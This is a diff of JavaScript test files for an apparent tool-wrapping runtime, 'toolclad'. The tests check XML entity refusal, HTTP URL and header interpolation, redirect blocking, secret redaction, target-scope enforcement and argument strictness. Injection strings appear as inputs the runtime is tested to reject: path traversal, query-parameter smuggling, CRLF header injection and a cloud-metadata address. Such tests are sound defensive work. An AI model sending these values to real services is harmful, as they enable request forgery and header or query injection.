assert.ok(Buffer.byteLength(r.results.raw_output) <= 51); + assert.equal(r.results.raw_output, "é".repeat(25)); + }); + + it("max_bytes must be an integer in 1..=1 GiB at load", () => { + const head = `[tool] +name = "t" +description = "d" +binary = "echo" + +[command] +exec = ["echo", "x"] + +[output] +format = "text" +`; + for (const bad of ["0", "-1", "1.5", '"big"', "1073741825"]) { + assert.throws(() => loadManifest(writeTmp(`${head}max_bytes = ${bad}\n`)), /max_bytes/, bad); + } + assert.equal(loadManifest(writeTmp(`${head}max_bytes = 1073741824\n`)).output.max_bytes, 1073741824); + assert.equal(loadManifest(writeTmp(head)).output.max_bytes, 8388608); + }); + + it("an in-memory manifest with a bad max_bytes is refused too", async () => { + await assert.rejects(execute(oneshot(["echo", "x"], { output: { max_bytes: 0 } }), {}), /max_bytes/); + }); +}); + +describe("W9 XML hardening (TC-12)", () => { + it("XML with a DOCTYPE / ENTITY declaration is refused as parse_error", async () => { + const xml = ']>&a;'; + const r = await execute(oneshot(["echo", xml], { output: { format: "xml" } }), {}); + assert.equal(r.status, "parse_error"); + assert.equal( + r.results.parse_error, + "XML output contains a DOCTYPE or ENTITY declaration; refusing to parse" + ); + assert.equal(r.results.raw_output, `${xml}\n`); + const lower = await execute(oneshot(["echo", ""], { output: { format: "xml" } }), {}); + assert.equal(lower.status, "parse_error"); + }); + + it("plain XML still parses; malformed XML is a parse_error", async () => { + const ok = await execute( + oneshot(["echo", ''], { + output: { format: "xml" }, + }), + {} + ); + assert.equal(ok.status, "success"); + assert.deepEqual(ok.results, { run: { host: { "@addr": "10.0.0.1" } } }); + const bad = await execute(oneshot(["echo", " { + it("type, including arrays of names and integer accepting 30.0", () => { + assert.equal(validateJsonSchema({ type: "integer" }, 30.0), null); + assert.equal(validateJsonSchema({ type: "integer" }, 30.5), "/: expected integer, got number"); + assert.equal(validateJsonSchema({ type: ["string", "null"] }, null), null); + assert.equal(validateJsonSchema({ type: "object" }, []), "/: expected object, got array"); + assert.equal(validateJsonSchema({ type: "boolean" }, "yes"), "/: expected boolean, got string"); + assert.equal(validateJsonSchema({ type: "null" }, 0), "/: expected null, got integer"); + }); + + it("properties, required and additionalProperties: false", () => { + const s = { + type: "object", + required: ["a"], + additionalProperties: false, + properties: { a: { type: "string" }, b: { type: "number" } }, + }; + assert.equal(validateJsonSchema(s, { a: "x", b: 1 }), null); + assert.equal(validateJsonSchema(s, { b: 1 }), "/: missing required property 'a'"); + assert.equal(validateJsonSchema(s, { a: "x", c: 1 }), "/c: additional property is not allowed"); + assert.equal(validateJsonSchema(s, { a: 1 }), "/a: expected string, got integer"); + assert.equal(validateJsonSchema({ ...s, additionalProperties: true }, { a: "x", c: 1 }), null); + }); + + it("nested items and the JSON-pointer path format", () => { + const s = { + type: "object", + properties: { + hosts: { + type: "array", + items: { type: "object", properties: { port: { type: "integer" } } }, + }, + }, + }; + assert.equal(validateJsonSchema(s, { hosts: [{ port: 22 }, { port: 80 }] }), null); + assert.equal( + validateJsonSchema(s, { hosts: [{ port: "22" }] }), + "/hosts/0/port: expected integer, got string" + ); + assert.equal( + validateJsonSchema({ properties: { "a/b": { type: "string" } } }, { "a/b": 1 }), + "/a~1b: expected string, got integer" + ); + }); + + it("enum (deep equality), minimum/maximum, minLength/maxLength in code points", () => { + assert.equal(validateJsonSchema({ enum: [{ a: [1] }, "x"] }, { a: [1] }), null); + assert.match(validateJsonSchema({ enum: ["x"] }, "y"), /^\/: value "y" is not one of/); + assert.equal(validateJsonSchema({ minimum: 1, maximum: 3 }, 3), null); + assert.match(validateJsonSchema({ minimum: 1 }, 0), /less than the minimum/); + assert.match(validateJsonSchema({ maximum: 3 }, 4), /greater than the maximum/); + assert.equal(validateJsonSchema({ maxLength: 2 }, "😀😀"), null); + assert.match(validateJsonSchema({ maxLength: 1 }, "😀😀"), /longer than 1/); + assert.match(validateJsonSchema({ minLength: 3 }, "ab"), /shorter than 3/); + }); + + it("pattern is anchored", () => { + assert.equal(validateJsonSchema({ pattern: "[a-z]+" }, "abc"), null); + assert.match(validateJsonSchema({ pattern: "[a-z]+" }, "abc1"), /does not match pattern/); + assert.match(validateJsonSchema({ pattern: "b" }, "abc"), /does not match pattern/); + }); + + it("unknown keywords are ignored", () => { + assert.equal(validateJsonSchema({ type: "string", format: "ipv4", description: "x" }, "nope"), null); + }); +}); + +describe("W9 fail-closed results (TC-14)", () => { + const schema = { + type: "object", + required: ["ok"], + properties: { ok: { type: "boolean" } }, + }; + + it("a schema mismatch is schema_error with the path, a match is success, bad JSON is parse_error", async () => { + const path = writeTmp(`[tool] +name = "j" +description = "d" +binary = "echo" + +[command] +exec = ["echo", "{{\\"ok\\": \\"yes\\"}}"] + +[output] +format = "json" + +[output.schema] +type = "object" +required = ["ok"] + +[output.schema.properties.ok] +type = "boolean" +`); + const bad = await execute(loadManifest(path), {}); + assert.equal(bad.status, "schema_error"); + assert.equal(bad.results.schema_error, "/ok: expected boolean, got string"); + assert.equal(bad.results.raw_output, '{"ok": "yes"}\n'); + assert.equal(bad.exit_code, 0); + + const good = await execute(oneshot(["echo", '{"ok": true}'], { output: { format: "json", schema } }), {}); + assert.equal(good.status, "success"); + assert.deepEqual(good.results, { ok: true }); + + const notJson = await execute(oneshot(["echo", "not json"], { output: { format: "json", schema } }), {}); + assert.equal(notJson.status, "parse_error"); + assert.match(notJson.results.parse_error, /^invalid JSON output/); + assert.equal(notJson.results.raw_output, "not json\n"); + }); + + it("results are always an object: json non-object, jsonl, csv and text", async () => { + const arr = await execute(oneshot(["echo", "[1, 2]"], { output: { format: "json" } }), {}); + assert.deepEqual(arr.results, { parsed_output: [1, 2] }); + const jsonl = await execute(oneshot(["echo", '{"a":1}\n{"a":2}'], { output: { format: "jsonl" } }), {}); + assert.deepEqual(jsonl.results, { parsed_output: [{ a: 1 }, { a: 2 }] }); + const csv = await execute(oneshot(["echo", "h,p\nx,30"], { output: { format: "csv" } }), {}); + assert.deepEqual(csv.results, { parsed_output: [{ h: "x", p: 30 }] }); + const text = await execute(oneshot(["echo", "t"]), {}); + assert.deepEqual(text.results, { raw_output: "t\n" }); + const badJsonl = await execute(oneshot(["echo", "{nope"], { output: { format: "jsonl" } }), {}); + assert.equal(badJsonl.status, "parse_error"); + }); + + it("a custom parser is refused at load and in memory; every builtin is accepted", async () => { + const head = (parser) => `[tool] +name = "p" +description = "d" +binary = "echo" + +[command] +exec = ["echo", "x"] + +[output] +format = "text" +parser = "${parser}" +`; + assert.throws( + () => loadManifest(writeTmp(head("scripts/x.py"))), + /custom output parsers are not supported by the reference runtimes \(parser = "scripts\/x.py"\)/ + ); + for (const p of ["builtin:json", "builtin:jsonl", "builtin:csv", "builtin:xml", "builtin:text"]) { + assert.equal(loadManifest(writeTmp(head(p))).output.parser, p); + } + await assert.rejects( + execute(oneshot(["echo", "x"], { output: { parser: "scripts/x.py" } }), {}), + /custom output parsers are not supported/ + ); + }); +}); + +// --------------------------------------------------------------------------- +// W10: HTTP hardening and the declared envelope command +// --------------------------------------------------------------------------- + +describe("W10 HTTP interpolation (TC-16)", () => { + it("a path placeholder is percent-encoded and cannot change the structure", async () => { + const m = httpManifest( + { method: "GET", url: "https://api.example.com/{endpoint}" }, + { args: { endpoint: { type: "string", required: true } } } + ); + const r = await executeHttp(m, { endpoint: "../admin?role=admin" }, { dryRun: true }); + assert.equal(r.http_url, "https://api.example.com/..%2Fadmin%3Frole%3Dadmin"); + const u = new URL(r.http_url); + assert.equal(u.host, "api.example.com"); + assert.equal(u.search, ""); + assert.equal(u.pathname.includes("/admin"), false); + }); + + it("a query placeholder encodes & and =", async () => { + const m = httpManifest( + { method: "GET", url: "https://api.example.com/search?q={q}&n=1" }, + // enum values skip the metacharacter check, so `&` can reach the URL. + { args: { q: { type: "enum", allowed: ["a&admin=true"], required: true } } } + ); + const r = await executeHttp(m, { q: "a&admin=true" }, { dryRun: true }); + assert.equal(r.http_url, "https://api.example.com/search?q=a%26admin%3Dtrue&n=1"); + assert.deepEqual([...new URL(r.http_url).searchParams.keys()], ["q", "n"]); + }); + + it("interpolating into the scheme or host is a load error", async () => { + const head = (url) => `[tool] +name = "h" +description = "d" + +[args.host] +type = "string" +description = "h" + +[http] +method = "GET" +url = "${url}" +`; + for (const url of [ + "https://{host}/x", + "https://api.{host}.com/x", + "https://api.example.com:{host}/x", + "{host}/x", + "{host}://api.example.com/", + "https://{_secret:h}/x", + ]) { + assert.throws( + () => loadManifest(writeTmp(head(url))), + /http\.url may not interpolate into the scheme or host/, + url + ); + } + // The same check guards an in-memory manifest. + const m = httpManifest({ method: "GET", url: "https://{host}/x" }, { args: { host: { type: "string" } } }); + await assert.rejects(executeHttp(m, { host: "a" }, { dryRun: true }), /scheme or host/); + }); + + it("the literal host is held to the host policy at load", () => { + const head = (url, blockInternal) => `[tool] +name = "h" +description = "d" + +[args.q] +type = "string" +description = "q" +block_internal = ${blockInternal} + +[http] +method = "GET" +url = "${url}" +`; + assert.throws(() => loadManifest(writeTmp(head("http://169.254.169.254/x", false))), /always blocked/); + assert.ok(loadManifest(writeTmp(head("http://127.0.0.1:8080/x", false)))); + assert.throws(() => loadManifest(writeTmp(head("http://127.0.0.1:8080/x", true)))); + assert.throws(() => loadManifest(writeTmp(head("http://10.1.2.3/x", true)))); + }); + + it("a header value with CR/LF after interpolation is refused; header names must be tokens", async () => { + const m = httpManifest( + { method: "GET", url: "https://api.example.com/", headers: { "X-Tag": "{tag}" } }, + { args: { tag: { type: "enum", allowed: ["ok", "a\r\nX-Admin: 1"], required: true } } } + ); + await assert.rejects(executeHttp(m, { tag: "a\r\nX-Admin: 1" }, { dryRun: true }), /CR, LF or NUL/); + assert.equal((await executeHttp(m, { tag: "ok" }, { dryRun: true })).http_headers["X-Tag"], "ok"); + + assert.throws( + () => + loadManifest( + writeTmp(`[tool] +name = "h" +description = "d" + +[http] +method = "GET" +url = "https://api.example.com/" + +[http.headers] +"Bad Name" = "x" +`) + ), + /not a valid token/ + ); + }); +}); + +describe("W10 HTTP requests against a loopback server", () => { + const SECRET = "tok-value-never-in-the-envelope"; + let srv; + let savedSecret; + + before(async () => { + savedSecret = process.env.TOOLCLAD_SECRET_TOK; + process.env.TOOLCLAD_SECRET_TOK = SECRET; + srv = await startServer((req, res) => { + if (req.url.startsWith("/redir")) { + res.writeHead(302, { Location: "http://127.0.0.1:1/" }); + res.end("moved"); + } else if (req.url.startsWith("/big")) { + res.end("a".repeat(5000)); + } else if (req.url.startsWith("/json")) { + res.setHeader("content-type", "application/json"); + res.end('{"ok": "yes"}'); + } else { + res.end("hello"); + } + }); + }); + after(async () => { + await srv.close(); + if (savedSecret === undefined) delete process.env.TOOLCLAD_SECRET_TOK; + else process.env.TOOLCLAD_SECRET_TOK = savedSecret; + }); + + it("a 302 is not followed: redirect_blocked, Location reported, one request", async () => { + const before = srv.requests.length; + const r = await executeHttp(httpManifest({ method: "GET", url: `${srv.base}/redir` }), {}); + assert.equal(r.status, "redirect_blocked"); + assert.equal(r.http_status, 302); + assert.equal(r.results.location, "http://127.0.0.1:1/"); + assert.equal(r.results.raw_output, "moved"); + assert.equal(srv.requests.length - before, 1); + }); + + it("the response body is capped at max_bytes", async () => { + const r = await executeHttp( + httpManifest({ method: "GET", url: `${srv.base}/big` }, { output: { max_bytes: 1000 } }), + {} + ); + assert.equal(r.status, "success"); + assert.equal(r.output_truncated, true); + assert.equal(r.results.raw_output, "a".repeat(1000)); + }); + + it("an HTTP json result is schema-checked, fail closed", async () => { + const r = await executeHttp( + httpManifest( + { method: "GET", url: `${srv.base}/json` }, + { output: { format: "json", schema: { properties: { ok: { type: "boolean" } } } } } + ), + {} + ); + assert.equal(r.status, "schema_error"); + assert.equal(r.results.schema_error, "/ok: expected boolean, got string"); + }); + + it("the envelope command is the declared request; the secret is sent but never reported", async () => { + const url = `${srv.base}/x?k={_secret:tok}&q={q}`; + const m = httpManifest( + { method: "GET", url, headers: { Authorization: "Bearer {_secret:tok}" } }, + { args: { q: { type: "string", required: true } } } + ); + const before = srv.requests.length; + const r = await executeHttp(m, { q: "a/b?c" }); + assert.equal(r.status, "success"); + assert.equal(r.command, `GET ${url}`); + assert.ok(r.command.includes("{_secret:tok}")); + assert.equal(JSON.stringify(r).includes(SECRET), false); + const seen = srv.requests[before]; + assert.equal(seen.url, `/x?k=${SECRET}&q=a%2Fb%3Fc`); + assert.equal(seen.headers.authorization, `Bearer ${SECRET}`); + }); + + it("executeHttpSync is a deprecated alias of the fetch path (no curl, nothing on an argv)", async () => { + const before = srv.requests.length; + const pending = executeHttpSync( + httpManifest({ method: "GET", url: `${srv.base}/x`, headers: { Authorization: "Bearer {_secret:tok}" } }), + {} + ); + assert.ok(pending instanceof Promise); + const r = await pending; + assert.equal(r.status, "success"); + assert.equal(r.results.raw_output, "hello"); + assert.equal(srv.requests.length - before, 1); + assert.equal(srv.requests[before].headers.authorization, `Bearer ${SECRET}`); + }); +}); + +describe("W10 declared envelope command (design issue 9)", () => { + it("oneshot: the declared exec joined by spaces, no evidence path; the dry run stays resolved", async () => { + const m = oneshot(["echo", "{target}", "{_output_file}"], { + args: { target: { type: "string", required: true } }, + }); + const r = await execute(m, { target: "hello" }); + assert.equal(r.command, "echo {target} {_output_file}"); + assert.equal(r.command.includes(process.env.TOOLCLAD_EVIDENCE_DIR), false); + assert.ok(r.results.raw_output.startsWith("hello ")); + + const dry = await execute(m, { target: "hello" }, { dryRun: true }); + assert.equal(dry.argv[1], "hello"); + assert.equal(dry.command, dry.argv.join(" ")); + assert.ok(dry.command.includes(process.env.TOOLCLAD_EVIDENCE_DIR)); + }); + + it("a legacy template is reported as written", async () => { + const m = { + tool: { name: "t", description: "d", timeout_seconds: 10 }, + args: { target: { type: "string", required: true } }, + command: { template: "echo {target}" }, + output: { format: "text" }, + }; + const r = await execute(m, { target: "x" }); + assert.equal(r.command, "echo {target}"); + assert.equal(r.results.raw_output, "x\n"); + }); +}); diff --git a/js/test/injection_vectors.test.js b/js/test/injection_vectors.test.js new file mode 100644 index 0000000..7f41f4c --- /dev/null +++ b/js/test/injection_vectors.test.js @@ -0,0 +1,74 @@ +// The shared cross-language negative suite: tests/injection_vectors.json. +// Every vector must give its stated verdict here, unmodified. + +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { existsSync, mkdtempSync, readFileSync } from "node:fs"; +import { dirname, join } from "node:path"; +import { tmpdir } from "node:os"; +import { fileURLToPath } from "node:url"; +import { validateArg } from "../src/validator.js"; +import { loadManifestFromString } from "../src/manifest.js"; + +const VECTORS = join(dirname(fileURLToPath(import.meta.url)), "..", "..", "tests", "injection_vectors.json"); +const SKIP = existsSync(VECTORS) + ? false + : `${VECTORS} not found (package built outside the repository)`; + +function verdict(fn) { + try { + fn(); + return { verdict: "accept" }; + } catch (err) { + return { verdict: "reject", error: err }; + } +} + +describe("tests/injection_vectors.json", { skip: SKIP }, () => { + it("every vector gives its stated verdict", () => { + const doc = JSON.parse(readFileSync(VECTORS, "utf-8")); + const failures = []; + let executed = 0; + + for (const v of doc.arg_vectors) { + // Strict single-argument entry point (template mode). + const got = verdict(() => validateArg({ ...v.arg }, v.value)); + executed++; + if (got.verdict !== v.expect) { + failures.push( + `arg vector ${v.id}: expected ${v.expect}, got ${got.verdict}` + + (got.error ? ` (${got.error.message})` : "") + + ` -- ${v.note}` + ); + } + } + + // Discovery (toolclad.toml, scope) starts from an empty directory so no + // file outside the vector can change its verdict. + const baseDir = mkdtempSync(join(tmpdir(), "toolclad-vectors-")); + const savedWarn = console.warn; + console.warn = () => {}; + try { + for (const v of doc.manifest_vectors) { + const got = verdict(() => loadManifestFromString(v.manifest, { baseDir, customTypes: {} })); + executed++; + if (got.verdict !== v.expect) { + failures.push( + `manifest vector ${v.id}: expected ${v.expect}, got ${got.verdict}` + + (got.error ? ` (${got.error.message})` : "") + + ` -- ${v.note}` + ); + } + } + } finally { + console.warn = savedWarn; + } + + assert.ok(executed > 0, "no vectors executed"); + console.log( + `injection vectors executed: ${executed} ` + + `(${doc.arg_vectors.length} arg, ${doc.manifest_vectors.length} manifest)` + ); + assert.deepEqual(failures, []); + }); +}); diff --git a/js/test/scope.test.js b/js/test/scope.test.js new file mode 100644 index 0000000..c5caa57 --- /dev/null +++ b/js/test/scope.test.js @@ -0,0 +1,386 @@ +import { describe, it, before, after } from "node:test"; +import assert from "node:assert/strict"; +import { writeFileSync, mkdtempSync, mkdirSync, existsSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { spawnSync } from "node:child_process"; +import { fileURLToPath } from "node:url"; +import { loadManifest, loadManifestWithOptions } from "../src/manifest.js"; +import { validateArg, validateArgIn, validateArgInAsync } from "../src/validator.js"; +import { execute, executeMcp } from "../src/executor.js"; +import { + makeScope, + loadScopeFile, + discoverScope, + ipInCidr, + hostMatchesRule, + checkScope, + urlHostInScope, + NO_SCOPE_FILE_MESSAGE, +} from "../src/scope.js"; + +// No network tool is run and no DNS lookup is made: commands are echo dry +// runs, and every argument here either omits block_internal or uses a literal. + +const CLI = fileURLToPath(new URL("../src/cli.js", import.meta.url)); +const VECTORS = fileURLToPath(new URL("../../tests/scope_vectors.json", import.meta.url)); + +const SCOPE_TOML = ` +[scope] +allowed_domains = ["example.com", "*.example.com"] +allowed_cidrs = ["10.0.1.0/24", "2001:db8::/32"] +blocked_domains = ["bad.example.com"] +blocked_cidrs = ["10.0.1.128/25"] +`; + +const SCOPE = makeScope({ + allowed_domains: ["example.com", "*.example.com"], + allowed_cidrs: ["10.0.1.0/24", "2001:db8::/32"], + blocked_domains: ["bad.example.com"], + blocked_cidrs: ["10.0.1.128/25"], +}); + +function tmpDir() { + return mkdtempSync(join(tmpdir(), "toolclad-scope-")); +} + +async function withEnv(value, fn) { + const saved = process.env.TOOLCLAD_SCOPE_FILE; + if (value === undefined) delete process.env.TOOLCLAD_SCOPE_FILE; + else process.env.TOOLCLAD_SCOPE_FILE = value; + try { + return await fn(); + } finally { + if (saved === undefined) delete process.env.TOOLCLAD_SCOPE_FILE; + else process.env.TOOLCLAD_SCOPE_FILE = saved; + } +} + +function manifestToml(type = "scope_target", extra = "") { + return ` +[tool] +name = "t" +binary = "echo" +description = "d" + +[args.target] +position = 1 +required = true +type = "${type}" +description = "t" +scope_check = true +${extra} + +[command] +exec = ["echo", "{target}"] + +[output] +format = "text" +`; +} + +describe("scope_vectors.json (normative)", () => { + const present = existsSync(VECTORS); + const vectors = present ? JSON.parse(readFileSync(VECTORS, "utf-8")).vectors : {}; + const skip = present ? false : `vector file not found at ${VECTORS}`; + + it("ipv4_in_cidr", { skip }, () => { + for (const v of vectors.ipv4_in_cidr) { + assert.equal(ipInCidr(v.ip, v.cidr), v.expected, `${v.ip} in ${v.cidr}`); + } + }); + + it("ipv6_in_cidr", { skip }, () => { + for (const v of vectors.ipv6_in_cidr) { + assert.equal(ipInCidr(v.ip, v.cidr), v.expected, `${v.ip} in ${v.cidr}`); + } + }); + + it("hostname_wildcard_match", { skip }, () => { + for (const v of vectors.hostname_wildcard_match) { + assert.equal(hostMatchesRule(v.hostname, v.pattern), v.expected, `${v.hostname} ~ ${v.pattern}`); + } + }); + + it("scope_target_validation", { skip }, () => { + for (const v of vectors.scope_target_validation) { + let ok = true; + try { + validateArg({ type: "scope_target" }, v.value); + } catch { + ok = false; + } + assert.equal(ok, v.valid, JSON.stringify(v.value)); + } + }); + + it("url_scope_check", { skip }, () => { + for (const v of vectors.url_scope_check) { + const scope = makeScope({ allowed_domains: v.allowed_hosts }); + let ok = true; + try { + validateArgIn({ type: "url", scope_check: true }, v.url, { scope }); + } catch { + ok = false; + } + assert.equal(ok, v.expected, v.url); + assert.equal(urlHostInScope(v.url, v.allowed_hosts), v.expected, v.url); + } + }); +}); + +describe("scope matching", () => { + const check = (type, value) => validateArgIn({ type, scope_check: true }, value, { scope: SCOPE }); + + it("matches exact and wildcard domain rules", async () => { + assert.equal(check("scope_target", "example.com"), "example.com"); + assert.equal(check("scope_target", "EXAMPLE.com"), "EXAMPLE.com"); + assert.equal(check("scope_target", "deep.sub.example.com"), "deep.sub.example.com"); + }); + + it("wildcard does not match the apex", async () => { + const scope = makeScope({ allowed_domains: ["*.example.com"] }); + assert.throws( + () => validateArgIn({ type: "scope_target", scope_check: true }, "example.com", { scope }), + /target 'example\.com' is not in scope/ + ); + }); + + it("matches on a label boundary only", async () => { + assert.throws(() => check("scope_target", "evil-example.com"), /is not in scope/); + assert.throws(() => check("url", "https://example.com.evil.com/"), /target 'example\.com\.evil\.com' is not in scope/); + }); + + it("blocked rules beat allowed rules", async () => { + assert.throws(() => check("scope_target", "bad.example.com"), /is not in scope/); + // An exact blocked rule does not reach its subdomains. + assert.equal(check("scope_target", "x.bad.example.com"), "x.bad.example.com"); + assert.equal(check("ip_address", "10.0.1.5"), "10.0.1.5"); + assert.throws(() => check("ip_address", "10.0.1.200"), /target '10\.0\.1\.200' is not in scope/); + }); + + it("a CIDR must be fully contained in an allowed range", async () => { + assert.equal(check("cidr", "10.0.1.0/26"), "10.0.1.0/26"); + assert.throws(() => check("cidr", "10.0.0.0/8"), /is not in scope/); + // Overlaps the blocked upper half. + assert.throws(() => check("cidr", "10.0.1.0/24"), /is not in scope/); + const plain = makeScope({ allowed_cidrs: ["10.0.1.0/24"] }); + assert.equal( + validateArgIn({ type: "scope_target", scope_check: true }, "10.0.1.0/25", { scope: plain }), + "10.0.1.0/25" + ); + assert.equal(checkScope("2001:db8:1::/48", SCOPE), undefined); + }); + + it("checks the host of a url, and IP literals", async () => { + assert.equal(check("url", "https://app.example.com:8443/x"), "https://app.example.com:8443/x"); + assert.equal(check("url", "http://10.0.1.5/"), "http://10.0.1.5/"); + assert.equal(check("scope_target", "2001:db8::1"), "2001:db8::1"); + assert.throws(() => check("url", "https://other.org/"), /target 'other\.org' is not in scope/); + }); + + it("an in-scope target is still refused by block_internal", async () => { + assert.throws( + () => + validateArgIn({ type: "ip_address", scope_check: true, block_internal: true }, "10.0.1.5", { + scope: SCOPE, + }), + /block_internal/ + ); + }); + + it("the async entry point enforces scope too", async () => { + await assert.rejects( + validateArgInAsync({ type: "scope_target", scope_check: true }, "other.org", { scope: SCOPE }), + /is not in scope/ + ); + assert.equal( + await validateArgInAsync({ type: "scope_target", scope_check: true }, "example.com", { scope: SCOPE }), + "example.com" + ); + }); + + it("an empty scope file puts nothing in scope", async () => { + assert.throws( + () => validateArgIn({ type: "scope_target", scope_check: true }, "example.com", { scope: makeScope({}) }), + /is not in scope/ + ); + }); + + it("no scope fails closed", async () => { + assert.throws( + () => validateArgIn({ type: "scope_target", scope_check: true }, "example.com"), + (err) => err.message === NO_SCOPE_FILE_MESSAGE + ); + assert.throws( + () => validateArg({ type: "url", scope_check: true }, "https://example.com/"), + /no scope\/scope\.toml was found \(set TOOLCLAD_SCOPE_FILE\)/ + ); + }); + + it("scope_check on an unsupported type is refused at validation time", async () => { + assert.throws( + () => validateArgIn({ type: "string", scope_check: true }, "x", { scope: SCOPE }), + /scope_check is not supported for type 'string'/ + ); + }); +}); + +describe("scope file loading", () => { + function scopeFile(content) { + const dir = tmpDir(); + const path = join(dir, "scope.toml"); + writeFileSync(path, content); + return path; + } + + it("loads a valid file", async () => { + const scope = loadScopeFile(scopeFile(SCOPE_TOML)); + assert.deepEqual([...scope.allowed_domains], ["example.com", "*.example.com"]); + assert.equal(scope.allowed_cidrs.length, 2); + }); + + it("refuses unknown keys", async () => { + assert.throws(() => loadScopeFile(scopeFile(`[scope]\nallowed_domain = ["a.com"]\n`)), /unknown key 'scope\.allowed_domain'/); + assert.throws(() => loadScopeFile(scopeFile(`[other]\nx = 1\n`)), /unknown key 'other'/); + }); + + it("refuses a malformed CIDR", async () => { + assert.throws(() => loadScopeFile(scopeFile(`[scope]\nallowed_cidrs = ["10.0.1.0/33"]\n`)), /invalid CIDR/); + assert.throws(() => loadScopeFile(scopeFile(`[scope]\nblocked_cidrs = ["10.0.1/24"]\n`)), /invalid CIDR/); + }); + + it("refuses a bad wildcard or domain rule", async () => { + for (const rule of ["ex*ample.com", "*example.com", "a.*.com", "*", "*.", "Example.com", "a..com", "a_b.com"]) { + assert.throws( + () => loadScopeFile(scopeFile(`[scope]\nallowed_domains = ["${rule}"]\n`)), + /invalid domain rule/, + rule + ); + } + }); +}); + +describe("scope discovery", () => { + let saved; + before(() => { + saved = process.env.TOOLCLAD_SCOPE_FILE; + delete process.env.TOOLCLAD_SCOPE_FILE; + }); + after(() => { + if (saved !== undefined) process.env.TOOLCLAD_SCOPE_FILE = saved; + }); + + it("walks upward from the manifest directory", async () => { + const root = tmpDir(); + mkdirSync(join(root, "scope")); + writeFileSync(join(root, "scope", "scope.toml"), SCOPE_TOML); + const nested = join(root, "a", "b"); + mkdirSync(nested, { recursive: true }); + const path = join(nested, "t.clad.toml"); + writeFileSync(path, manifestToml()); + const manifest = loadManifest(path); + const ok = await execute(manifest, { target: "app.example.com" }, { dryRun: true }); + assert.deepEqual(ok.argv, ["echo", "app.example.com"]); + await assert.rejects(() => execute(manifest, { target: "other.org" }, { dryRun: true }), /target 'other\.org' is not in scope/); + assert.equal(discoverScope(nested).source, join(root, "scope", "scope.toml")); + }); + + it("TOOLCLAD_SCOPE_FILE wins over the upward walk", async () => { + const root = tmpDir(); + mkdirSync(join(root, "scope")); + writeFileSync(join(root, "scope", "scope.toml"), SCOPE_TOML); + const other = join(tmpDir(), "elsewhere.toml"); + writeFileSync(other, `[scope]\nallowed_domains = ["other.org"]\n`); + const path = join(root, "t.clad.toml"); + writeFileSync(path, manifestToml()); + await withEnv(other, async () => { + const manifest = loadManifest(path); + assert.deepEqual((await execute(manifest, { target: "other.org" }, { dryRun: true })).argv, ["echo", "other.org"]); + await assert.rejects(() => execute(manifest, { target: "example.com" }, { dryRun: true }), /is not in scope/); + }); + }); + + it("an unreadable TOOLCLAD_SCOPE_FILE is an error, not a fallback", async () => { + const root = tmpDir(); + mkdirSync(join(root, "scope")); + writeFileSync(join(root, "scope", "scope.toml"), SCOPE_TOML); + const path = join(root, "t.clad.toml"); + writeFileSync(path, manifestToml()); + await withEnv(join(root, "missing.toml"), async () => { + const manifest = loadManifest(path); + await assert.rejects( + () => execute(manifest, { target: "example.com" }, { dryRun: true }), + /cannot read scope file/ + ); + }); + }); + + it("fails closed when no scope file exists anywhere", async (t) => { + const root = tmpDir(); + if (discoverScope(root) !== null) { + t.skip("a scope/scope.toml exists above the temp directory"); + return; + } + const path = join(root, "t.clad.toml"); + writeFileSync(path, manifestToml()); + const manifest = loadManifest(path); + await assert.rejects( + () => execute(manifest, { target: "example.com" }, { dryRun: true }), + /scope_check is enabled but no scope\/scope\.toml was found/ + ); + }); + + it("applies on the MCP path", async () => { + const other = join(tmpDir(), "s.toml"); + writeFileSync(other, `[scope]\nallowed_domains = ["example.com"]\n`); + const manifest = { + tool: { name: "m", description: "d" }, + args: { target: { type: "scope_target", scope_check: true } }, + mcp: { server: "s", tool: "x" }, + }; + await withEnv(other, async () => { + assert.equal(executeMcp(manifest, { target: "example.com" }).mapped_args.target, "example.com"); + assert.throws(() => executeMcp({ ...manifest }, { target: "evil.org" }), /is not in scope/); + }); + }); + + it("applies on the CLI test command", async () => { + const root = tmpDir(); + const path = join(root, "t.clad.toml"); + writeFileSync(path, manifestToml()); + const scopePath = join(root, "s.toml"); + writeFileSync(scopePath, `[scope]\nallowed_domains = ["example.com"]\n`); + const env = { ...process.env, TOOLCLAD_SCOPE_FILE: scopePath }; + const ok = spawnSync(process.execPath, [CLI, "test", path, "--arg", "target=example.com"], { encoding: "utf-8", env }); + assert.equal(ok.status, 0, ok.stderr); + const bad = spawnSync(process.execPath, [CLI, "test", path, "--arg", "target=evil.org"], { encoding: "utf-8", env }); + assert.notEqual(bad.status, 0); + assert.match(bad.stderr, /target 'evil\.org' is not in scope/); + }); +}); + +describe("scope_check at manifest load", () => { + it("is refused on an unsupported built-in type", async () => { + const path = join(tmpDir(), "t.clad.toml"); + writeFileSync(path, manifestToml("string")); + assert.throws(() => loadManifest(path), /scope_check is not supported for type 'string'/); + }); + + it("is refused on a custom type with an unsupported base", async () => { + const path = join(tmpDir(), "t.clad.toml"); + writeFileSync(path, manifestToml("ticket")); + assert.throws( + () => loadManifestWithOptions(path, { customTypes: { ticket: { base: "string" } } }), + /scope_check is not supported for type 'ticket'/ + ); + }); + + it("is accepted on every supported type", async () => { + for (const type of ["scope_target", "url", "ip_address", "cidr"]) { + const path = join(tmpDir(), "t.clad.toml"); + writeFileSync(path, manifestToml(type)); + assert.doesNotThrow(() => loadManifest(path), type); + } + }); +}); diff --git a/js/test/strictness.test.js b/js/test/strictness.test.js new file mode 100644 index 0000000..514f52b --- /dev/null +++ b/js/test/strictness.test.js @@ -0,0 +1,145 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; +import { writeFileSync, mkdtempSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { loadManifest, loadManifestWithOptions } from "../src/manifest.js"; +import { validateArg } from "../src/validator.js"; + +// Validator strictness shared with the other runtimes. No network tool is +// run and no DNS lookup is made. + +function refused(type, values, extra = {}) { + for (const value of values) { + assert.throws(() => validateArg({ type, ...extra }, value), undefined, `${type} ${JSON.stringify(value)}`); + } +} + +function accepted(type, pairs, extra = {}) { + for (const [value, out] of pairs) { + assert.equal(validateArg({ type, ...extra }, value), out, `${type} ${JSON.stringify(value)}`); + } +} + +describe("numeric strictness", () => { + it("integer requires plain decimal", () => { + refused("integer", ["", "0x10", "1_000", " 7 ", "7\n", "1e3", "7.0", "++7", "Infinity", "0b1"]); + accepted("integer", [["+7", 7], ["7", 7], ["-3", -3], ["007", 7], [42, 42]], { 